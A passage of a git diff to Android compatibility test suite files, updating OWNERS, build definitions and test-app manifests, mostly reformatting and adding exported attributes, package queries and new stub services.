+            sendMessageToTest(callback, TEST_MESSAGE_ACTIVITY_STARTED);
+        }
+    }
+}
diff --git a/tests/app/OWNERS b/tests/app/OWNERS
index 7516b62..f70abe8 100644
--- a/tests/app/OWNERS
+++ b/tests/app/OWNERS
@@ -1,4 +1,3 @@
 # Bug component: 316234
 include platform/frameworks/base:/services/core/java/com/android/server/am/OWNERS
-juliacr@google.com
-beverlyt@google.com
\ No newline at end of file
+include NOTIFICATION_OWNERS
diff --git a/tests/app/StorageDelegator/AndroidManifest.xml b/tests/app/StorageDelegator/AndroidManifest.xml
index c252a80..7812a23 100644
--- a/tests/app/StorageDelegator/AndroidManifest.xml
+++ b/tests/app/StorageDelegator/AndroidManifest.xml
@@ -13,20 +13,22 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.test.storagedelegator">
+     package="com.android.test.storagedelegator">
 
-    <uses-sdk android:targetSdkVersion="28" />
+    <uses-sdk android:targetSdkVersion="28"/>
 
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
 
     <application android:label="StorageDelegator">
         <activity android:name=".StorageDelegator"
-                android:theme="@android:style/Theme.NoDisplay">
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.action.CREATE_FILE_WITH_CONTENT" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.action.CREATE_FILE_WITH_CONTENT"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/app/app/Android.bp b/tests/app/app/Android.bp
index 8cabf87..44c365c 100644
--- a/tests/app/app/Android.bp
+++ b/tests/app/app/Android.bp
@@ -33,9 +33,12 @@
         "mockito-target-minus-junit4",
         "androidx.legacy_legacy-support-v4",
         "androidx.test.core",
+        "testng",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
+        "src/**/*.kt",
         "src/android/app/stubs/ISecondary.aidl",
     ],
     // Tag this module as a cts test artifact
@@ -43,6 +46,7 @@
         "cts",
         "general-tests",
     ],
+    additional_manifests: ["ProviderAndroidManifest.xml"],
     platform_apis: true,
 }
 
@@ -63,6 +67,7 @@
         "mockito-target-minus-junit4",
         "androidx.legacy_legacy-support-v4",
         "androidx.test.core",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
@@ -96,6 +101,7 @@
         "mockito-target-minus-junit4",
         "androidx.legacy_legacy-support-v4",
         "androidx.test.core",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
@@ -129,6 +135,7 @@
         "mockito-target-minus-junit4",
         "androidx.legacy_legacy-support-v4",
         "androidx.test.core",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
@@ -144,3 +151,39 @@
         "--rename-manifest-package com.android.app3",
     ],
 }
+
+android_test_helper_app {
+    name: "CtsAppTestStubsApi30",
+    defaults: ["cts_support_defaults"],
+    libs: [
+        "android.test.runner",
+        "telephony-common",
+        "voip-common",
+        "org.apache.http.legacy",
+        "android.test.base",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ctstestserver",
+        "mockito-target-minus-junit4",
+        "androidx.legacy_legacy-support-v4",
+        "androidx.test.core",
+        "CtsAppTestStubsShared",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "src/android/app/stubs/ISecondary.aidl",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    platform_apis: true,
+    target_sdk_version: "30",
+    aaptflags: [
+        "--rename-manifest-package com.android.app4",
+        "--debug-mode",
+    ],
+}
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index a6fe151..6e180b7 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -16,75 +16,92 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.app.stubs">
+     package="android.app.stubs">
 
     <permission android:name="android.app.stubs.permission.TEST_GRANTED"
-        android:protectionLevel="normal"
-            android:label="@string/permlab_testGranted"
-            android:description="@string/permdesc_testGranted">
-        <meta-data android:name="android.app.stubs.string" android:value="foo" />
-        <meta-data android:name="android.app.stubs.boolean" android:value="true" />
-        <meta-data android:name="android.app.stubs.integer" android:value="100" />
-        <meta-data android:name="android.app.stubs.color" android:value="#ff000000" />
-        <meta-data android:name="android.app.stubs.float" android:value="100.1" />
-        <meta-data android:name="android.app.stubs.reference" android:resource="@xml/metadata" />
+         android:protectionLevel="normal"
+         android:label="@string/permlab_testGranted"
+         android:description="@string/permdesc_testGranted">
+        <meta-data android:name="android.app.stubs.string"
+             android:value="foo"/>
+        <meta-data android:name="android.app.stubs.boolean"
+             android:value="true"/>
+        <meta-data android:name="android.app.stubs.integer"
+             android:value="100"/>
+        <meta-data android:name="android.app.stubs.color"
+             android:value="#ff000000"/>
+        <meta-data android:name="android.app.stubs.float"
+             android:value="100.1"/>
+        <meta-data android:name="android.app.stubs.reference"
+             android:resource="@xml/metadata"/>
     </permission>
 
-    <uses-permission android:name="android.app.stubs.permission.TEST_GRANTED" />
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
-    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
-    <uses-permission android:name="android.permission.SET_WALLPAPER_HINTS" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.BODY_SENSORS" />
-    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
-    <uses-permission android:name="android.permission.SET_WALLPAPER" />
+    <queries>
+        <package android:name="com.android.test.notificationtrampoline.current" />
+        <package android:name="com.android.test.notificationtrampoline.api30" />
+    </queries>
+
+    <uses-permission android:name="android.app.stubs.permission.TEST_GRANTED"/>
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.SET_WALLPAPER_HINTS"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.BODY_SENSORS"/>
+    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
+    <uses-permission android:name="android.permission.SET_WALLPAPER"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
-    <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT" />
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT"/>
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
 
     <application android:label="Android TestCase"
-                android:icon="@drawable/size_48x48"
-                android:maxRecents="1"
-                android:multiArch="true"
-                android:name="android.app.stubs.MockApplication"
-                android:supportsRtl="true"
-                android:networkSecurityConfig="@xml/network_security_config"
-                android:zygotePreloadName=".ZygotePreload">
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="org.apache.http.legacy" android:required="false" />
+         android:icon="@drawable/size_48x48"
+         android:maxRecents="1"
+         android:multiArch="true"
+         android:name="android.app.stubs.MockApplication"
+         android:supportsRtl="true"
+         android:networkSecurityConfig="@xml/network_security_config"
+         android:zygotePreloadName=".ZygotePreload">
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
 
-        <activity android:name="android.app.stubs.ScreenOnActivity" />
+        <activity android:name="android.app.stubs.ScreenOnActivity"/>
 
-        <activity android:name="android.app.stubs.ActionBarActivity" />
+        <activity android:name="android.app.stubs.ActionBarActivity"/>
 
-        <activity android:name="android.app.stubs.ActivityCallbacksTestActivity" />
+        <activity android:name="android.app.stubs.ActivityCallbacksTestActivity"/>
 
-        <activity android:name="android.app.stubs.MockActivity" android:label="MockActivity">
+        <activity android:name="android.app.stubs.MockActivity"
+             android:label="MockActivity">
             <meta-data android:name="android.app.alias"
-                android:resource="@xml/alias" />
+                 android:resource="@xml/alias"/>
             <meta-data android:name="android.app.intent.filter"
-                android:resource="@xml/intentfilter" />
+                 android:resource="@xml/intentfilter"/>
         </activity>
 
         <activity android:name="android.app.stubs.MockApplicationActivity"
-            android:label="MockApplicationActivity">
+             android:label="MockApplicationActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.InstrumentationTestActivity"
-                  android:label="InstrumentationTestActivity">
+             android:label="InstrumentationTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:mimeType="vnd.android.cursor.dir/person" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="vnd.android.cursor.dir/person"/>
             </intent-filter>
             <intent-filter>
                 <action android:name="android.app.stubs.activity.INSTRUMENTATION_TEST"/>
@@ -92,343 +109,411 @@
         </activity>
 
         <activity android:name="android.app.stubs.ActivityMonitorTestActivity"
-                  android:label="ActivityMonitorTestActivity" />
+             android:label="ActivityMonitorTestActivity"/>
 
         <activity android:name="android.app.stubs.AliasActivityStub">
             <meta-data android:name="android.app.alias"
-                android:resource="@xml/alias" />
+                 android:resource="@xml/alias"/>
         </activity>
 
         <activity android:name="android.app.stubs.ChildActivity"
-                        android:label="ChildActivity" />
+             android:label="ChildActivity"/>
 
-        <receiver android:name="android.app.stubs.MockReceiver">
+        <receiver android:name="android.app.stubs.MockReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.stubs.PendingIntentTest.TEST_RECEIVER" />
+                <action android:name="android.app.stubs.PendingIntentTest.TEST_RECEIVER"/>
             </intent-filter>
         </receiver>
 
-        <service android:name="android.app.stubs.MockService" />
+        <service android:name="android.app.stubs.MockService"/>
 
-        <service android:name="android.app.stubs.NullService" />
+        <service android:name="android.app.stubs.NullService"/>
 
         <activity android:name="android.app.stubs.SearchManagerStubActivity"
-                android:label="SearchManagerStubActivity">
+             android:label="SearchManagerStubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEARCH" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.SEARCH"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
-            <meta-data android:name="android.app.searchable" android:resource="@xml/searchable" />
+            <meta-data android:name="android.app.searchable"
+                 android:resource="@xml/searchable"/>
         </activity>
 
-        <service android:name="android.app.stubs.LocalService">
+        <service android:name="android.app.stubs.LocalService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.stubs.activity.SERVICE_LOCAL" />
+                <action android:name="android.app.stubs.activity.SERVICE_LOCAL"/>
             </intent-filter>
-            <meta-data android:name="android.app.stubs.string" android:value="foo" />
-            <meta-data android:name="android.app.stubs.boolean" android:value="true" />
-            <meta-data android:name="android.app.stubs.integer" android:value="100" />
-            <meta-data android:name="android.app.stubs.color" android:value="#ff000000" />
-            <meta-data android:name="android.app.stubs.float" android:value="100.1" />
-            <meta-data android:name="android.app.stubs.reference" android:resource="@xml/metadata" />
+            <meta-data android:name="android.app.stubs.string"
+                 android:value="foo"/>
+            <meta-data android:name="android.app.stubs.boolean"
+                 android:value="true"/>
+            <meta-data android:name="android.app.stubs.integer"
+                 android:value="100"/>
+            <meta-data android:name="android.app.stubs.color"
+                 android:value="#ff000000"/>
+            <meta-data android:name="android.app.stubs.float"
+                 android:value="100.1"/>
+            <meta-data android:name="android.app.stubs.reference"
+                 android:resource="@xml/metadata"/>
         </service>
 
-        <service android:name="android.app.stubs.LocalStoppedService" />
+        <service android:name="android.app.stubs.LocalStoppedService"/>
 
         <service android:name="android.app.stubs.LocalForegroundService"
-                 android:foregroundServiceType="camera|microphone">
+             android:foregroundServiceType="camera|microphone"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.app.stubs.FOREGROUND_SERVICE"/>
+            </intent-filter>
+        </service>
+
+        <service android:name="android.app.stubs.LocalPhoneCallService"
+             android:foregroundServiceType="microphone|phoneCall"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.app.stubs.FOREGROUND_SERVICE" />
             </intent-filter>
         </service>
 
         <service android:name="android.app.stubs.LocalForegroundServiceLocation"
-                android:foregroundServiceType="location|camera|microphone">
+             android:foregroundServiceType="location|camera|microphone"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.stubs.FOREGROUND_SERVICE_LOCATION" />
+                <action android:name="android.app.stubs.FOREGROUND_SERVICE_LOCATION"/>
+            </intent-filter>
+        </service>
+
+        <service android:name="android.app.stubs.LocalForegroundServiceSticky"
+                 android:foregroundServiceType="camera|microphone"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.app.stubs.FOREGROUND_SERVICE"/>
             </intent-filter>
         </service>
 
         <service android:name="android.app.stubs.LocalGrantedService"
-             android:permission="android.app.stubs.permission.TEST_GRANTED">
+             android:permission="android.app.stubs.permission.TEST_GRANTED"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.stubs.activity.SERVICE_LOCAL_GRANTED" />
+                <action android:name="android.app.stubs.activity.SERVICE_LOCAL_GRANTED"/>
             </intent-filter>
         </service>
 
         <service android:name="android.app.stubs.LocalDeniedService"
-               android:permission="android.app.stubs.permission.TEST_DENIED">
+             android:permission="android.app.stubs.permission.TEST_DENIED"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.stubs.activity.SERVICE_LOCAL_DENIED" />
+                <action android:name="android.app.stubs.activity.SERVICE_LOCAL_DENIED"/>
             </intent-filter>
         </service>
 
-        <service android:name="android.app.stubs.IsolatedService" android:isolatedProcess="true" android:useAppZygote="true">
+        <service android:name="android.app.stubs.IsolatedService"
+             android:isolatedProcess="true"
+             android:useAppZygote="true">
         </service>
 
         <activity android:name="android.app.stubs.TestedScreen"
-                android:process=":remoteScreen">
+             android:process=":remoteScreen">
         </activity>
-        <activity android:name="android.app.stubs.LocalScreen" android:multiprocess="true">
+        <activity android:name="android.app.stubs.LocalScreen"
+             android:multiprocess="true">
         </activity>
-        <activity android:name="android.app.stubs.ClearTop" android:multiprocess="true"
-               android:launchMode="singleTop">
+        <activity android:name="android.app.stubs.ClearTop"
+             android:multiprocess="true"
+             android:launchMode="singleTop">
         </activity>
-        <activity android:name="android.app.stubs.LocalDialog" android:multiprocess="true"
-               android:theme="@android:style/Theme.Dialog">
+        <activity android:name="android.app.stubs.LocalDialog"
+             android:multiprocess="true"
+             android:theme="@android:style/Theme.Dialog">
         </activity>
 
         <activity android:name="android.app.stubs.PendingIntentStubActivity"
              android:label="PendingIntentStubActivity"/>
 
         <activity android:name="android.app.stubs.LocalActivityManagerStubActivity"
-                        android:label="LocalActivityManagerStubActivity" />
+             android:label="LocalActivityManagerStubActivity"/>
 
         <activity android:name="android.app.stubs.LocalActivityManagerTestHelper"
-            android:label="LocalActivityManagerTestHelper" />
+             android:label="LocalActivityManagerTestHelper"/>
 
-        <activity android:name="android.app.stubs.LaunchpadTabActivity" android:multiprocess="true">
+        <activity android:name="android.app.stubs.LaunchpadTabActivity"
+             android:multiprocess="true">
         </activity>
 
-        <activity android:name="android.app.stubs.LocalActivity" android:multiprocess="true">
-            <meta-data android:name="android.app.stubs.string" android:value="foo" />
-            <meta-data android:name="android.app.stubs.boolean" android:value="true" />
-            <meta-data android:name="android.app.stubs.integer" android:value="100" />
-            <meta-data android:name="android.app.stubs.color" android:value="#ff000000" />
-            <meta-data android:name="android.app.stubs.float" android:value="100.1" />
-            <meta-data android:name="android.app.stubs.reference" android:resource="@xml/metadata" />
+        <activity android:name="android.app.stubs.LocalActivity"
+             android:multiprocess="true">
+            <meta-data android:name="android.app.stubs.string"
+                 android:value="foo"/>
+            <meta-data android:name="android.app.stubs.boolean"
+                 android:value="true"/>
+            <meta-data android:name="android.app.stubs.integer"
+                 android:value="100"/>
+            <meta-data android:name="android.app.stubs.color"
+                 android:value="#ff000000"/>
+            <meta-data android:name="android.app.stubs.float"
+                 android:value="100.1"/>
+            <meta-data android:name="android.app.stubs.reference"
+                 android:resource="@xml/metadata"/>
         </activity>
 
         <activity android:name="android.app.stubs.TestedActivity"
-                android:process=":remoteActivity">
+             android:process=":remoteActivity">
         </activity>
 
         <activity android:name="android.app.stubs.ExpandableListTestActivity"
-            android:label="ExpandableListTestActivity">
+             android:label="ExpandableListTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.FragmentTestActivity"
-            android:label="FragmentTestActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-
-        <activity android:name="android.app.stubs.FragmentResultActivity" android:label="FragmentResultActivity" />
-
-        <activity android:name="android.app.stubs.LauncherActivityStub"
-                  android:label="LauncherActivityStub" >
+             android:label="FragmentTestActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.app.stubs.MockTabActivity" android:label="MockTabActivity" />
+        <activity android:name="android.app.stubs.FragmentResultActivity"
+             android:label="FragmentResultActivity"/>
 
-        <activity android:name="android.app.stubs.MockListActivity" android:label="MockListActivity" />
-
-        <activity android:name="android.app.stubs.AppStubActivity" android:label="AppStubActivity">
+        <activity android:name="android.app.stubs.LauncherActivityStub"
+             android:label="LauncherActivityStub"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.app.stubs.shared.NotificationHostActivity"
+            android:label="NotificationHostActivity"/>
+
+        <activity android:name="android.app.stubs.MockTabActivity"
+             android:label="MockTabActivity"/>
+
+        <activity android:name="android.app.stubs.MockListActivity"
+             android:label="MockListActivity"/>
+
+        <activity android:name="android.app.stubs.AppStubActivity"
+             android:label="AppStubActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.DialogStubActivity"
-                  android:label="DialogStubActivity">
+             android:label="DialogStubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.ActivityManagerStubFooActivity"
-            android:label="ActivityManagerStubFooActivity">
+             android:label="ActivityManagerStubFooActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.ActivityManagerRecentOneActivity"
-            android:label="ActivityManagerRecentOneActivity"
-            android:allowTaskReparenting="true"
-            android:taskAffinity="android.app.stubs.recentOne">
+             android:label="ActivityManagerRecentOneActivity"
+             android:allowTaskReparenting="true"
+             android:taskAffinity="android.app.stubs.recentOne"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.ActivityManagerRecentTwoActivity"
-            android:label="ActivityManagerRecentTwoActivity"
-            android:allowTaskReparenting="true"
-            android:taskAffinity="android.app.stubs.recentTwo">
+             android:label="ActivityManagerRecentTwoActivity"
+             android:allowTaskReparenting="true"
+             android:taskAffinity="android.app.stubs.recentTwo"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.ActivityManagerStubCrashActivity"
-            android:label="ActivityManagerStubCrashActivity"
-            android:multiprocess="true"
-            android:process=":ActivityManagerStubCrashActivity">
+             android:label="ActivityManagerStubCrashActivity"
+             android:multiprocess="true"
+             android:process=":ActivityManagerStubCrashActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
         <service android:name="android.app.stubs.StubRemoteService"
-            android:process=":remote">
+             android:process=":remote"
+             android:exported="true">
             <intent-filter>
-                <action
-                    android:name="android.app.stubs.ISecondary" />
-                <action
-                    android:name="android.app.REMOTESERVICE" />
+                <action android:name="android.app.stubs.ISecondary"/>
+                <action android:name="android.app.REMOTESERVICE"/>
             </intent-filter>
         </service>
 
         <activity android:name="android.app.ActivityGroup"
-            android:label="ActivityGroup" />
+             android:label="ActivityGroup"/>
 
         <activity android:name="android.app.stubs.KeyguardManagerActivity"
-            android:label="KeyguardManagerActivity">
+             android:label="KeyguardManagerActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <service android:name="android.app.stubs.IntentServiceStub"/>
 
         <activity android:name="android.app.stubs.LaunchpadActivity"
-                  android:configChanges="keyboardHidden|orientation|screenSize"
-                  android:multiprocess="true">
+             android:configChanges="keyboardHidden|orientation|screenSize"
+             android:multiprocess="true">
         </activity>
 
-        <activity android:name="android.app.stubs.ActivityManagerMemoryClassLaunchActivity" />
+        <activity android:name="android.app.stubs.ActivityManagerMemoryClassLaunchActivity"/>
 
         <activity android:name="android.app.stubs.ActivityManagerMemoryClassTestActivity"
-                android:process=":memoryclass" />
+             android:process=":memoryclass"/>
 
         <activity android:name="android.app.stubs.PipNotSupportedActivity"
-                  android:label="PipNotSupportedActivity"
-                  android:resizeableActivity="true"
-                  android:supportsPictureInPicture="false"
-                  android:configChanges="smallestScreenSize|orientation|screenSize|screenLayout">
+             android:label="PipNotSupportedActivity"
+             android:resizeableActivity="true"
+             android:supportsPictureInPicture="false"
+             android:configChanges="smallestScreenSize|orientation|screenSize|screenLayout"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.app.stubs.KeyboardShortcutsActivity" />
+        <activity android:name="android.app.stubs.KeyboardShortcutsActivity"/>
 
         <activity android:name="android.app.stubs.NewDocumentTestActivity"
-                  android:documentLaunchMode="intoExisting" />
+             android:documentLaunchMode="intoExisting"/>
 
         <activity android:name="android.app.stubs.DisplayTestActivity"
-            android:configChanges="smallestScreenSize|orientation|screenSize|screenLayout" />
+             android:configChanges="smallestScreenSize|orientation|screenSize|screenLayout"/>
 
         <activity android:name="android.app.stubs.ToolbarActivity"
-                  android:theme="@android:style/Theme.Material.Light.NoActionBar" />
+             android:theme="@android:style/Theme.Material.Light.NoActionBar"/>
 
-        <service
-            android:name="android.app.stubs.LiveWallpaper"
-            android:icon="@drawable/robot"
-            android:label="@string/wallpaper_title"
-            android:permission="android.permission.BIND_WALLPAPER">
+        <service android:name="android.app.stubs.LiveWallpaper"
+             android:icon="@drawable/robot"
+             android:label="@string/wallpaper_title"
+             android:permission="android.permission.BIND_WALLPAPER"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.service.wallpaper.WallpaperService">
                 </action>
             </intent-filter>
-            <meta-data
-                android:name="android.service.wallpaper"
-                android:resource="@xml/wallpaper">
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/wallpaper">
             </meta-data>
         </service>
 
         <service android:name="android.app.stubs.TestNotificationListener"
-                 android:exported="true"
-                 android:label="TestNotificationListener"
-                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+             android:exported="true"
+             android:label="TestNotificationListener"
+             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
             <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
+                <action android:name="android.service.notification.NotificationListenerService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.app.stubs.TestTileService"
-                 android:exported="true"
-                 android:label="TestTileService"
-                 android:icon="@drawable/robot"
-                 android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
+             android:exported="true"
+             android:label="TestTileService"
+             android:icon="@drawable/robot"
+             android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
             <intent-filter>
-                <action android:name="android.service.quicksettings.action.QS_TILE" />
+                <action android:name="android.service.quicksettings.action.QS_TILE"/>
             </intent-filter>
         </service>
 
         <service android:name="android.app.stubs.ToggleableTestTileService"
-                 android:exported="true"
-                 android:label="BooleanTestTileService"
-                 android:icon="@drawable/robot"
-                 android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
+             android:exported="true"
+             android:label="BooleanTestTileService"
+             android:icon="@drawable/robot"
+             android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
             <intent-filter>
-                <action android:name="android.service.quicksettings.action.QS_TILE" />
+                <action android:name="android.service.quicksettings.action.QS_TILE"/>
             </intent-filter>
             <meta-data android:name="android.service.quicksettings.TOGGLEABLE_TILE"
-                       android:value="true"/>
+                 android:value="true"/>
         </service>
 
-        <activity android:name="android.app.stubs.AutomaticZenRuleActivity">
+        <activity android:name="android.app.stubs.AutomaticZenRuleActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.action.AUTOMATIC_ZEN_RULE" />
+                <action android:name="android.app.action.AUTOMATIC_ZEN_RULE"/>
             </intent-filter>
             <meta-data android:name="android.service.zen.automatic.ruleType"
-                       android:value="@string/automatic_zen_rule_name" />
+                 android:value="@string/automatic_zen_rule_name"/>
             <meta-data android:name="android.service.zen.automatic.ruleInstanceLimit"
-                       android:value="2" />
+                 android:value="2"/>
         </activity>
 
         <receiver android:name="android.app.stubs.CommandReceiver"
-                  android:exported="true" />
+             android:exported="true"/>
 
         <activity android:name="android.app.stubs.SendBubbleActivity"
-                  android:turnScreenOn="true">
+             android:turnScreenOn="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <action android:name="android.intent.action.SEND" />
-                <data android:mimeType="text/plain" />
-                <data android:mimeType="image/*" />
+                <action android:name="android.intent.action.VIEW"/>
+                <action android:name="android.intent.action.SEND"/>
+                <data android:mimeType="text/plain"/>
+                <data android:mimeType="image/*"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.BubbledActivity"
-                  android:resizeableActivity="true"/>
+             android:resizeableActivity="true"/>
 
         <service android:name="android.app.stubs.BubblesTestService"
-                 android:label="BubblesTestsService"
-                 android:exported="true">
+             android:label="BubblesTestsService"
+             android:exported="true">
         </service>
 
-        <service android:name="android.app.stubs.LocalAlertService" />
+        <service android:name="android.app.stubs.LocalAlertService"/>
 
         <activity android:name=".SimpleActivity"
-                  android:excludeFromRecents="true">
+             android:excludeFromRecents="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
 
             <meta-data android:name="android.app.shortcuts"
-                       android:resource="@xml/shortcuts" />
